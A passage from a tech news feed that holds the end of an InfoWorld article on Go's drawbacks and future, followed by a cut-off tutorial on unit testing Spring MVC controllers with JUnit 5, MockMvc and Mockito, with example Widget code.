<p class="wp-block-paragraph">Go’s opinionated set of features draws both praise and criticism. Go is designed to err on the side of being small and easy to understand, with certain features deliberately omitted. The result is that some features that are commonplace in other languages simply aren’t available in Go. This is purposeful, but it’s still a drawback for some types of projects.</p>



<p class="wp-block-paragraph">One thing Go omits that you will find in other languages is <em>macros</em>, commonly defined as the ability to generate program code at compile time. C, C++, and (the rising star) <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a> all have macro systems. Go does not have macros, or at least not of the same variety as those languages. What Go does have is a tool command, <code>go generate</code>, which looks for magic comments in Go source and executes them. This can be used to generate Go source code, or even run other commands, but its main use is to programmatically generate code, usually as a precursor to the build process. (Technical blogger Eli Bendersky <a href="https://eli.thegreenplace.net/2021/a-comprehensive-guide-to-go-generate/">explains the ‘go generate’ command in detail</a>.)</p>



<p class="wp-block-paragraph">Another longstanding complaint with Go was, until recently, the lack of generic functions, which allow a function to accept many different types of variables. Go’s development team held out against adding generics to the language for many years because they wanted a syntax and set of behaviors that complemented the rest of Go. But as of <a href="https://tip.golang.org/doc/go1.18">Go 1.18</a>, released in early 2022, the language <a href="https://www.infoworld.com/article/2271612/get-started-with-generics-in-go.html">includes a syntax for generics</a>. Because <code>go generate</code> and its code-generation abilities emerged as one possible way to partially address the lack of generics, this functionality is no longer as commonly used in Go.</p>



<p class="wp-block-paragraph">The fact is that Go adds major language features rarely, and only after much consideration. This works to preserve broad compatibility across versions, but it comes at the cost of slower innovation.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3849417/what-you-need-to-know-about-go-rust-and-zig.html">What you need to know about Go, Rust, and Zig</a>.</strong></p>



<h3 class="wp-block-heading">Go’s binaries are large</h3>



<p class="wp-block-paragraph">Another potential downside to Go is the size of the generated binaries. Go binaries are statically compiled by default, meaning that everything needed at runtime is included in the binary image. This approach simplifies the build and deployment process, but at the cost of a simple “Hello, world!” weighing in at around 1.5MB on 64-bit Windows. The Go team has been <a href="https://blog.golang.org/go1.7-binary-size">working to reduce the size of those binaries</a> with each successive release. It is also possible to <a href="https://blog.filippo.io/shrink-your-go-binaries-with-this-one-weird-trick/">shrink Go binaries with compression</a> or by <a href="https://jamescun.com/golang/binary-size/">removing Go’s debug information</a>. This last option may work better for standalone distributed apps than for cloud or network services, where having debug information is useful if a service fails in place.</p>



<h3 class="wp-block-heading">Go’s garbage collection is resource hungry</h3>



<p class="wp-block-paragraph">Yet another touted feature of Go, automatic memory management, can be seen as a drawback, as garbage collection requires a certain amount of processing overhead. By design, Go <a href="https://golang.org/doc/faq#garbage_collection">doesn’t provide manual memory management</a>, and garbage collection in Go has been criticized for not dealing well with the kinds of memory loads that appear in enterprise applications.</p>



<p class="wp-block-paragraph">That said, each new version of Go seems to improve the memory management features. For example, Go 1.8 brought <a href="https://golang.org/doc/go1.8#gc">significantly shorter lag times for garbage collection</a>, and <a href="https://www.infoworld.com/article/4041753/go-language-previews-performance-boosting-garbage-collector.html">Go 1.25</a> introduced a new, experimental garbage collector. While Go developers can use manual memory allocation in a C extension, or by way of a <a href="https://github.com/joetifa2003/mm-go">third-party manual memory management library</a>, most prefer native solutions.</p>



<h3 class="wp-block-heading">Go doesn’t have a standard GUI toolkit</h3>



<p class="wp-block-paragraph">Most Go applications are command-line tools or network services. That said, various projects are working to bring rich GUIs for Go applications. There are bindings for the <a href="https://mattn.github.io/go-gtk/">GTK</a> and <a href="https://github.com/gotk3/gotk3">GTK3</a> frameworks. Another project is intended to provide <a href="https://github.com/richardwilkes/unison">platform-native UIs</a> across platforms, although it focuses on Go 1.24 forward only. But no clear winner or safe long-term bet has emerged in this space. Also, because Go is platform-independent by design, it is unlikely any project in this vein will become a part of the standard package set.</p>



<h3 class="wp-block-heading">You shouldn’t use Go for systems programming</h3>



<p class="wp-block-paragraph">Finally, although Go can talk to native system functions, it was not designed for developing low-level system components such as kernels, device drivers, or embedded systems. After all, the Go runtime and the garbage collector for Go applications are dependent on the underlying operating system. (Developers interested in a cutting-edge language for that kind of work might look into using <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a>.)</p>



<h2 class="wp-block-heading">The future of the Go language</h2>



<p class="wp-block-paragraph">Go’s development is turning more toward the wants and needs of its developer base, with Go’s minders changing the language to better accommodate this audience rather than leading by stubborn example. A case in point is generics, which were finally added to the language after much deliberation about the best way to do so.</p>



<p class="wp-block-paragraph">The <a href="https://www.infoworld.com/article/2336812/go-language-shines-for-ai-powered-workloads-survey-says.html">2024 Go Developer Survey</a> found developers were overall satisfied with Go. Challenges that surfaced were generally due to the verbosity of error handling, missing or immature frameworks, and using Go’s type system—areas ripe for future development.</p>



<p class="wp-block-paragraph">Like most languages, Go has gravitated to a core set of use cases over time, finding its niche in network services. In the future, Go is likely to continue expanding its hold there. Other use cases cited in the developer survey include creating APIs or RPC services (74% of respondents), followed by CLI applications (63%), web services (45%), libraries/frameworks (44%), automation (39%), and data processing (37%). While only 4% of respondents mentioned using Go to develop <a href="https://www.infoworld.com/artificial-intelligence/">AI technologies</a>, those who did reported that <a href="https://www.infoworld.com/article/2336812/go-language-shines-for-ai-powered-workloads-survey-says.html">Go was a strong platform for running AI-powered workloads in production</a>. For those wanting to develop ML/AI with Go, lack of tooling (23%) and the fact that Python is the default choice for such work (16%) topped the reasons why.</p>



<p class="wp-block-paragraph">It remains to be seen how far Go’s speed and development simplicity will take it into other use cases, especially those dominated by other languages and their existing use cases. Rust covers <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">safe and fast systems programming</a> (a space Go is unlikely to enter); Python is still a common default for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">ML/AI, prototyping, automation, and glue code</a>; and Java remains a stalwart for <a href="https://www.infoworld.com/java">enterprise applications</a>.</p>



<p class="wp-block-paragraph">But Go’s future as a major programming language is already assured—certainly in the cloud, where the speed and simplicity of Go ease the development of scalable infrastructure that can be maintained over the long run.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3607388/go-language-evolving-for-future-hardware-ai-workloads.html">Go language evolving for future hardware, AI workloads</a>.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Unit testing Spring MVC applications with JUnit 5]]></title>
<description><![CDATA[Spring is a reliable and popular framework for building web and enterprise Java applications. In this article, you’ll learn how to unit test each layer of a Spring MVC application, using built-in testing tools from JUnit 5 and Spring to mock each component’s dependencies. In addition to unit test...]]></description>
<link>https://tsecurity.de/de/3665676/ai-nachrichten/unit-testing-spring-mvc-applications-with-junit-5/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665676/ai-nachrichten/unit-testing-spring-mvc-applications-with-junit-5/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html" data-type="link" data-id="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html">Spring</a> is a reliable and popular framework for building web and enterprise <a href="https://www.infoworld.com/java/">Java</a> applications. In this article, you’ll learn how to unit test each layer of a Spring MVC application, using built-in testing tools from <a href="https://www.infoworld.com/article/3993538/how-to-test-your-java-applications-with-junit-5.html">JUnit 5</a> and Spring to mock each component’s dependencies. In addition to unit testing with MockMvc, Mockito, and Spring’s <code>TestEntityManager</code>, I’ll also briefly introduce slice testing using the <code>@WebMvcTest</code> and <code>@DataJpaTest</code> annotations, used to optimize unit tests on web controllers and databases.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3993538/how-to-test-your-java-applications-with-junit-5.html">How to test your Java applications with JUnit 5</a>.</strong></p>



<h2 class="wp-block-heading">Overview of testing Spring MVC applications</h2>



<p class="wp-block-paragraph">Spring MVC applications are defined using three technology layers:</p>



<ul class="wp-block-list">
<li><em>Controllers</em> accept web requests and return web responses.</li>



<li><em>Services</em> implement the application’s business logic.</li>



<li><em>Repositories</em> persist data to and from your back-end <a href="https://www.infoworld.com/article/2337457/sql-at-50-whats-next-for-the-structured-query-language.html">SQL</a> or <a href="https://www.infoworld.com/article/2260280/what-is-nosql-databases-for-a-cloud-scale-future.html">NoSQL</a> database.</li>
</ul>



<p class="wp-block-paragraph">When we unit test Spring MVC applications, we test each layer separately from the others. We create mock implementations, typically using <a href="https://site.mockito.org/">Mockito</a>, for each layer’s dependencies, then we simulate the logic we want to test. For example, a controller may call a service to retrieve a list of objects. When testing the controller, we create a mock service that either returns the list of objects, returns an empty list, or throws an exception. This test ensures the controller behaves correctly.</p>



<p class="wp-block-paragraph">We’ll use Spring MVC to build and test a simple web service that manages widgets. The structure of the web service is shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/TestingSpringMVC-fig1.png?w=1024" alt="Diagram of a Spring MVC web service application." class="wp-image-4078126" width="1024" height="286" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Steven Haines</p></div>



<p class="wp-block-paragraph">This is a classic MVC pattern. We have a <em>widget controller</em> that handles <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">RESTful requests</a> and delegates its business functionality to a <em>widget service</em>, which uses a <em>widget repository</em> to persist widgets to and from an in-memory H2 database.</p>



<p class="wp-block-paragraph"><strong>Get the source: <a href="https://b2b-contenthub.com/wp-content/uploads/2025/10/spring-mvc-unit-testing-iw.zip" data-type="link" data-id="https://b2b-contenthub.com/wp-content/uploads/2025/10/spring-mvc-unit-testing-iw.zip">Download the source code for this article</a>.</strong></p>



<h2 class="wp-block-heading">Unit testing a Spring MVC controller with MockMvc</h2>



<p class="wp-block-paragraph">Setting up a Spring MVC controller test is a two-step process:</p>



<ul class="wp-block-list">
<li>Annotate your test class with <code>@WebMvcTest</code>.</li>



<li>Autowire a <code>MockMvc</code> instance into your controller.</li>
</ul>



<p class="wp-block-paragraph">We could annotate all our test classes with <code>@SpringBootTest</code>, but we’ll use <code>@WebMvcTest</code> instead. The reason is that the <code>@WebMvcTest</code> annotation is used for <em>slice testing</em>. Whereas <code>@SpringBootTest</code> loads your entire Spring application context, <code>@WebMvcTest</code> loads only your web-related resources. Furthermore, if you specify a controller class in the annotation, it will only load the specific controller you want to test. Testing a single “slice” of your application reduces both the amount of compute resources required to set up the test and the time required to run a test.</p>



<p class="wp-block-paragraph">For example, when we test a controller, we’ll mock just the services it uses, and we won’t need any repositories at all. If we don’t need them, then we needn’t waste time loading them. Slice tests were created to make tests perform better and run faster.</p>



<p class="wp-block-paragraph">Here’s the source code for the <code>Widget</code> class we’ll be managing:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.model;
import jakarta.persistence.Entity;
import jakarta.persistence.GeneratedValue;
import jakarta.persistence.GenerationType;
import jakarta.persistence.Id;

@Entity
public class Widget {
    @Id
    @GeneratedValue(strategy = GenerationType.AUTO)
    private Long id;
    private String name;
    private int version;

    public Widget() {
    }

    public Widget(String name) {
        this.name = name;
    }

    public Widget(String name, int version) {
        this.name = name;
        this.version = version;
    }

    public Widget(Long id, String name, int version) {
        this.id = id;
        this.name = name;
        this.version = version;
    }

    public Long getId() {
        return id;
    }

    public void setId(Long id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getVersion() {
        return version;
    }

    public void setVersion(int version) {
        this.version = version;
    }
}</code></pre>



<p class="wp-block-paragraph">A <code>Widget</code> is a <a href="https://www.infoworld.com/article/2259807/what-is-jpa-introduction-to-the-java-persistence-api.html">JPA entity</a> that manages three fields:</p>



<ul class="wp-block-list">
<li><em>id</em> is the primary key of the table, annotated with <code>@Id</code> and <code>@GeneratedValue</code>, with an automatic generation strategy.</li>



<li><em>name</em> is the name of the widget.</li>



<li><em>version</em> is the version of the widget resource. We’ll use this value to populate our <code>eTag</code> value and check it in our <code>PUT</code> operation’s <code>If-Match </code>header value. This ensures the widget being updated is not stale.</li>
</ul>



<p class="wp-block-paragraph">Here’s the source code for the controller we’ll be testing (<code>WidgetController.java</code>):</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.web;

import java.net.URI;
import java.net.URISyntaxException;
import java.util.List;
import java.util.Optional;
import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.service.WidgetService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class WidgetController {
    @Autowired
    private WidgetService widgetService;
    @GetMapping("/widget/{id}")
    public ResponseEntity getWidget(@PathVariable Long id) {
        return widgetService.findById(id)
                .map(widget -&gt; {
                    try {
                        return ResponseEntity
                                .ok()
                                .location(new URI("/widget/" + id))
                                .eTag(Integer.toString(
                                               widget.getVersion()))
                                .body(widget);
                    } catch (URISyntaxException e) {
                        return ResponseEntity
                          .status(HttpStatus.INTERNAL_SERVER_ERROR)
                          .build();
                    }
                })
                .orElse(ResponseEntity.notFound().build());
    }
    @GetMapping("/widgets")
    public List getWidgets() {
        return widgetService.findAll();
    }
    @PostMapping("/widgets")
    public ResponseEntity createWidget(@RequestBody Widget widget)
    {
        Widget newWidget = widgetService.create(widget);
        try {
           return ResponseEntity
                   .created(new URI("/widget/" + newWidget.getId()))
                   .eTag(Integer.toString(newWidget.getVersion()))
                   .body(newWidget);
        } catch (URISyntaxException e) {
            return ResponseEntity
                    .status(HttpStatus.INTERNAL_SERVER_ERROR)
                    .build();
        }
    }

    @PutMapping("/widget/{id}")
    public ResponseEntity updateWidget(@PathVariable Long id,
                                          @RequestBody Widget widget,
                         @RequestHeader("If-Match") Integer ifMatch) {
        Optional existingWidget = widgetService.findById(id);
        return existingWidget.map(w -&gt; {
            if (w.getVersion() != ifMatch) {
                return ResponseEntity.status(HttpStatus.CONFLICT)
                                     .build();
            }

            w.setName(widget.getName());
            w.setVersion(w.getVersion() + 1);

            Widget updatedWidget = widgetService.save(w);
            try {
                return ResponseEntity.ok()
                        .location(new URI("/widget/" + 
                                      updatedWidget.getId()))
                        .eTag(Integer.toString(
                                      updatedWidget.getVersion()))
                        .body(updatedWidget);
            } catch (URISyntaxException e) {
                throw new RuntimeException(e);
            }
        }).orElse(ResponseEntity.notFound().build());
    }

    @DeleteMapping("widget/{id}")
    public ResponseEntity deleteWidget(@PathVariable Long id) {
        Optional existingWidget = widgetService.findById(id);
        return existingWidget.map(w -&gt; {
           widgetService.deleteById(w.getId());
           return ResponseEntity.ok().build();
        }).orElse(ResponseEntity.notFound().build());
    }
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetController</code> handles <code>GET</code>, <code>POST</code>, <code>PUT</code>, and <code>DELETE</code> operations, following standard RESTful principles, so we’re going to write tests for each operation.</p>



<p class="wp-block-paragraph">The following source code shows the structure of our test class (<code>WidgetControllerTest.java</code>):</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.web;

@WebMvcTest(WidgetController.class)
public class WidgetControllerTest {
    @Autowired
    private MockMvc mockMvc;

    @MockitoBean
    private WidgetService widgetService;
}</code></pre>



<p class="wp-block-paragraph">I omitted the imports for readability, but the important thing to note is that the class is annotated with the <code>@WebMvcTest</code> annotation, and that we pass in the <code>WidgetController.class</code> as the controller we’re testing. This tells Spring to only load the <code>WidgetController</code> and no other Spring resources. The <code>@WebMvcTest</code> annotation includes other annotations, but the important one for our tests is <code>@AutoConfigureMockMvc</code>, which will cause Spring to create a <code>MockMvc</code> instance and add it to the application context. That lets us autowire it into our test class using the <code>@Autowired</code> annotation.</p>



<p class="wp-block-paragraph">Next, we use the <code>@MockitoBean</code> annotation to use Mockito to create a mock implementation of the <code>WidgetService</code>, after which Spring will autowire it into the <code>WidgetController</code> class. This lets us control the behavior of the <code>WidgetService</code> for the <code>WidgetController</code> test cases we’re writing. Note that starting in Spring Boot version 3.4, <code>@MockitoBean</code> replaced <code>@MockBean</code>. Everything you know about <code>@MockBean</code> translates to using <code>@MockitoBean</code>—with some improvements.</p>



<h3 class="wp-block-heading">Unit testing GET /widgets</h3>



<p class="wp-block-paragraph">Let’s start with the easiest test case, a test for <code>GET /widgets</code>:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgets() throws Exception {
    List widgets = new ArrayList();
    widgets.add(new Widget(1L, "Widget 1", 1));
    widgets.add(new Widget(2L, "Widget 2", 1));
    widgets.add(new Widget(3L, "Widget 3", 1));

    when(widgetService.findAll()).thenReturn(widgets);

    mockMvc.perform(get("/widgets"))
            .andExpect(status().isOk())
            .andExpect(jsonPath("$.length()").value(3))
            .andExpect(jsonPath("$[0].id").value(1L))
            .andExpect(jsonPath("$[0].name").value("Widget 1"))
            .andExpect(jsonPath("$[0].version").value(1));
};</code></pre>



<p class="wp-block-paragraph">The <code>testGetWidgets()</code> method creates a list of three widgets and then configures the mock <code>WidgetService</code> to return the list when its <code>findAll()</code> method is called. The <code>WidgetControllerTest</code> class statically imports the <code>org.mockito.Mockito.when()</code> method that accepts a method call, which in this case is <code>widgetService.findAll()</code>, and returns a Mockito <code>OngoingStubbing</code> instance. This <code>OngoingStubbing</code> instance exposes methods like <code>thenReturn()</code>, <code>thenThrow()</code>, <code>thenCallRealMethod()</code>, <code>thenAnswer()</code>, and <code>then()</code>.</p>



<p class="wp-block-paragraph">Here, we use the <code>thenReturn()</code> method to tell Mockito to return the list of widgets when the <code>WidgetService</code>’s <code>findAll()</code> method is called. The <code>@MockitoBean</code> annotation causes the mock <code>WidgetService</code> to be autowired into the <code>WidgetController</code>. So, when the <code>getWidgets()</code> method is called in response to a <code>GET /widgets</code>, it calls the <code>WidgetService</code>’s <code>findAll()</code> method and returns our list of widgets as a web response.</p>



<p class="wp-block-paragraph">Next, we use <code>MockMvc</code>’s <code>perform()</code> method to execute a web request. This diagram shows the various classes that interact with the  <code>perform()</code> method:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/TestingSpringMVC-fig2.png?w=1024" alt="Diagram of classes that interact with the MockMvc perform() method." class="wp-image-4078130" width="1024" height="439" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Steven Haines</p></div>



<p class="wp-block-paragraph">The <code>perform()</code> method accepts a <code>RequestBuilder</code>. Spring defines several built-in <code>RequestBuilder</code>s that we can statically import into our tests, including <code>get()</code>, <code>post()</code>, <code>put()</code>, and <code>delete()</code>. The <code>perform()</code> method returns a <code>ResultActions</code> instance that exposes methods such as <code>andExpect()</code>, <code>andExpectAll()</code>, <code>andDo()</code>, and <code>andReturn()</code>. Here, we invoke the <code>andExpect()</code> method, which accepts a <code>ResultMatcher</code>. </p>



<p class="wp-block-paragraph">A <code>ResultMatcher</code> defines a<code> match()</code> method that throws an <code>AssertionError</code> if the assertion fails. Spring defines several <code>ResultMatcher</code>s that we can statically import:</p>



<ul class="wp-block-list">
<li><code>status()</code> allows us to check the HTTP status code of response.</li>



<li><code>content()</code> allows us to check the content headers of the response, such as <code>Content-Type</code>.</li>



<li><code>header()</code> allows us to check any of the HTTP header values.</li>



<li><code>jsonPath()</code> allows us to inspect the contents of a <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html" data-type="link" data-id="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON document</a>.</li>
</ul>



<p class="wp-block-paragraph">After MockMvc performs a <code>GET to /widgets</code>, we expect the HTTP status code to be <code>200 OK</code>.  We can then use the <code>jsonPath</code> matcher to check the body results, using the following JSON path expressions:</p>



<ul class="wp-block-list">
<li><code>$.length()</code>: The <code>$</code> references the root of the JSON document. If the response is a list, then we can call the <code>length()</code> method to get the number of elements in the list.</li>



<li><code>$[0].id</code>: JSON path expressions for a list use an array syntax starting at 0. This expression gets the ID of the first element in the list.</li>



<li><code>$[0].name</code>: This expression gets the name of the first element and compares it to “<code>Widget 1</code>”.</li>



<li><code>$[0].version</code>: This expression gets the version of the first element and compares it to 1.</li>
</ul>



<h3 class="wp-block-heading">Unit testing the GET /widget/{id} handler</h3>



<p class="wp-block-paragraph">Here’s the source code to test the <code>GET /coffee/{id}</code> widget:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgetById() throws Exception {
    Widget widget = new Widget(1L, "My Widget", 1);          
    when(widgetService.findById(1L))
           .thenReturn(Optional.of(widget));

    mockMvc.perform(get("/widget/{id}", 1))
            // Validate that we get a 200 OK Response Code
            .andExpect(status().isOk())

            // Validate Headers
            .andExpect(content()
                      .contentType(MediaType.APPLICATION_JSON))
            .andExpect(header().string(HttpHeaders.LOCATION,
                                       "/widget/1"))
            .andExpect(header().string(HttpHeaders.ETAG, "\"1\""))

            // Validate content
            .andExpect(jsonPath("$.id").value(1L))
            .andExpect(jsonPath("$.name").value("My Widget"))
            .andExpect(jsonPath("$.version").value(1));
 }</code></pre>



<p class="wp-block-paragraph">This test method is very similar to the <code>testGetWidgets()</code> method, but with some notable changes:</p>



<ul class="wp-block-list">
<li>The <code>GET</code> URI is defined using a URI template. You can specify any number of variables enclosed in braces in the URI template and then send a list of arguments that will replace those variables in the order they appear in the template.</li>



<li>We check that the returned <code>Content-Type</code> is <code>“application/json”</code>, which is a constant in the <code>MediaType</code> class. We access the content using the <code>content()</code> method, which returns a <code>ContentResultMatchers</code> instance that provides various methods, including <code>contentType()</code>, which allows us to validate the content headers.</li>



<li>We check for specific header values using the <code>header()</code> method. The <code>header()</code> method returns a <code>HeadersResultMatchers</code> instance, which can check for header <code>String</code>, <code>long</code>, and <code>date</code> values, as well as checking to see whether or not specific headers exist. In this case, we use constants defined in the <code>HttpHeaders</code> class to check the <code>location</code> and <code>eTag</code> header values.</li>



<li>We check the body of the response using JSON path expressions. In this case, we do not have a list of objects, so we can access the individual fields in the JSON document directly. For example, <code>$.id</code> retrieves the <code>id</code> field value in the root of the document.</li>
</ul>



<h3 class="wp-block-heading">Unit testing a GET /widget/{id} Not Found code</h3>



<p class="wp-block-paragraph">Next, we test the <code>GET /widget/{id}</code>, passing it an invalid ID so that it returns a 404 Not Found response code:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgetByIdNotFound() throws Exception {
   when(widgetService.findById(1L)).thenReturn(Optional.empty());

   mockMvc.perform(get("/widget/{id}", 1))
            // Validate that we get a 404 Not Found Response Code
            .andExpect(status().isNotFound());
}</code></pre>



<p class="wp-block-paragraph">The <code>testGetWidgetByIdNotFound()</code> method configures the mock <code>WidgetService</code> to return <code>Optional.empty()</code> when its <code>findById()</code> is called with a value of 1. We then perform a <code>GET</code> request to <code>/widget/1</code>, then assert that the returned HTTP status code is 404 Not Found.</p>



<h3 class="wp-block-heading">Unit testing POST /widgets</h3>



<p class="wp-block-paragraph">Here’s how to test a <code>Widget</code> creation:</p>



<pre class="wp-block-code"><code>@Test
void testCreateWidget() throws Exception {
    Widget widget = new Widget(1L, "Widget 1", 1);
    when(widgetService.create(any())).thenReturn(widget);

    mockMvc.perform(post("/widgets")
            .contentType(MediaType.APPLICATION_JSON)
            .content("{\"name\": \"Widget 1\"}"))

            // Validate that we get a 201 Created Response Code
            .andExpect(status().isCreated())

            // Validate Headers
            .andExpect(content().contentType(
                                      MediaType.APPLICATION_JSON))
            .andExpect(header().string(HttpHeaders.LOCATION, 
                                       "/widget/1"))
            .andExpect(header().string(HttpHeaders.ETAG, "\"1\""))

            // Validate content
            .andExpect(jsonPath("$.id").value(1L))
            .andExpect(jsonPath("$.name").value("Widget 1"))
            .andExpect(jsonPath("$.version").value(1));</code></pre>



<p class="wp-block-paragraph">The <code>testCreateWidget()</code> method first creates a <code>Widget</code> to return when the <code>WidgetService</code>’s <code>create()</code> method is called with any argument. The <code>any()</code> matcher matches any argument and, because the <code>createWidget()</code> handler will create a new <code>Widget</code> instance, we will not have access to that instance when the test runs. We then invoke MockMvc’s <code>perform()</code> method to the <code>”/widgets”</code> URI, sending the content body of a new widget named <code>“Widget 1”</code>, using the <code>content()</code> method. We expect a 201 Created HTTP response code, an “<code>application/json</code>” content type, a location header of “<code>/widget/1</code>”, and an <code>eTag</code> value of the <code>String</code> “<code>1</code>”. The body of the response should match the <code>Widget</code> we returned from the <code>create()</code> method, namely an ID of 1, a name of “Widget 1”, and a version of 1.</p>



<h3 class="wp-block-heading">Unit testing PUT /widget</h3>



<p class="wp-block-paragraph">This code runs three tests for the <code>PUT</code> operation:</p>



<pre class="wp-block-code"><code>@Test
public void testSuccessfulUpdate() throws Exception {
    // Create a mock Widget when the WidgetService's findById(1L) 
    // is called
    Widget mockWidget = new Widget(1L, "Widget 1", 5);
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));

    // Create a mock Coffee that is returned when the 
    // CoffeeController saves the Coffee to the database
    Widget savedWidget = new Widget(1L, "Updated Widget 1", 6);
    when(widgetService.save(any())).thenReturn(savedWidget);

    // Execute a PUT /widget/1 with a matching version: 5
    mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 5)
                    .content("{\"id\": 1, " +
                             "\"name\": \"Updated Widget 1\"}"))

            // Validate that we get a 200 OK HTTP Response
           .andExpect(status().isOk())

            // Validate the headers
           .andExpect(content()
                        .contentType(MediaType.APPLICATION_JSON))
           .andExpect(header().string(HttpHeaders.LOCATION, 
                                      "/widget/1"))
           .andExpect(header().string(HttpHeaders.ETAG, "\"6\""))

           // Validate the contents of the response
           .andExpect(jsonPath("$.id").value(1L))
           .andExpect(jsonPath("$.name")
                               .value("Updated Widget 1"))
           .andExpect(jsonPath("$.version").value(6));
}

@Test
public void testUpdateConflict() throws Exception {
   // Create a mock coffee with a version set to 5
   Widget mockWidget = new Widget(1L, "Widget 1", 5);

    // Return the mock Coffee when the CoffeeService's 
    // findById(1L) is called
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));

    // Execute a PUT /widget/1 with a mismatched version number: 2
    mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 2)
                    .content("{\"id\": 1, " + 
                             "\"name\":  \"Updated Widget 1\"}"))
             // Validate that we get a 409 Conflict HTTP Response
            .andExpect(status().isConflict());
}

@Test
public void testUpdateNotFound() throws Exception {
   // Return the mock Coffee when the CoffeeService's 
   // findById(1L) is called
   when(widgetService.findById(1L)).thenReturn(Optional.empty());

   // Execute a PUT /coffee/1 with a mismatched version number: 2
   mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 2)
                    .content("{\"id\": 1, " + 
                             "\"name\":  \"Updated Coffee 1\"}"))

           // Validate that we get 404 Not Found
           .andExpect(status().isNotFound());
}</code></pre>



<p class="wp-block-paragraph">We have three variations:</p>



<ul class="wp-block-list">
<li>A successful update.</li>



<li>A failed update because of a version conflict.</li>



<li>A failed update because the widget was not found.</li>
</ul>



<p class="wp-block-paragraph">In RESTful web services, version management is handled by the entity tag, or<code> eTag</code>. When you retrieve an entity, it has an <code>eTag</code> value. When you want to update the entity, you pass that <code>eTag</code> value in the <code>If-Match</code> HTTP header. If the <code>If-Match</code> header does not match the current <code>eTag</code>, which is the <code>Widget</code> version in our implementation, then the <code>PUT</code> handler returns a 409 Conflict HTTP response code. If you get this error, it means that you need to retrieve the entity again and retry your operation. This way, if two different clients attempt to update the same entity simultaneously, only one will succeed.</p>



<p class="wp-block-paragraph">In the <code>testSuccessfulUpdate() </code>method, we return a <code>Widget</code> with a version of 5 when the <code>WidgetService</code>’s <code>findById()</code> method is called. We then pass an <code>If-Match</code> header value of 5 and then validate that we get a 200 OK HTTP response code and the expected header and body values. In the <code>testUpdateConflict()</code> method, we do the same thing, but we set the <code>If-Match</code> header to 2, which does not match 5, so we validate that we get a 409 Conflict HTTP response code. And finally, in the <code>testUpdateNotFound()</code> method, we configure the <code>WidgetService</code> to return an <code>Optional.empty()</code> when its <code>findById()</code> method is called, so we execute the <code>PUT</code> operation and validate that we get a 404 Not Found HTTP response code.</p>



<h3 class="wp-block-heading">Unit testing DELETE /widget</h3>



<p class="wp-block-paragraph">Finally, here is the source code for our two <code>DELETE /widget</code> tests:</p>



<pre class="wp-block-code"><code>@Test
void testDeleteSuccess() throws Exception {
    // Setup mocked product
    Widget mockWidget = new Widget(1L, "Widget 1", 5);

    // Setup the mocked service
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));
    doNothing().when(widgetService).deleteById(1L);

    // Execute our DELETE request
    mockMvc.perform(delete("/widget/{id}", 1L))
            .andExpect(status().isOk());
}

@Test
void testDeleteNotFound() throws Exception {
    // Setup the mocked service
    when(widgetService.findById(1L)).thenReturn(Optional.empty());

    // Execute our DELETE request
    mockMvc.perform(delete("/widget/{id}", 1L))
            .andExpect(status().isNotFound());
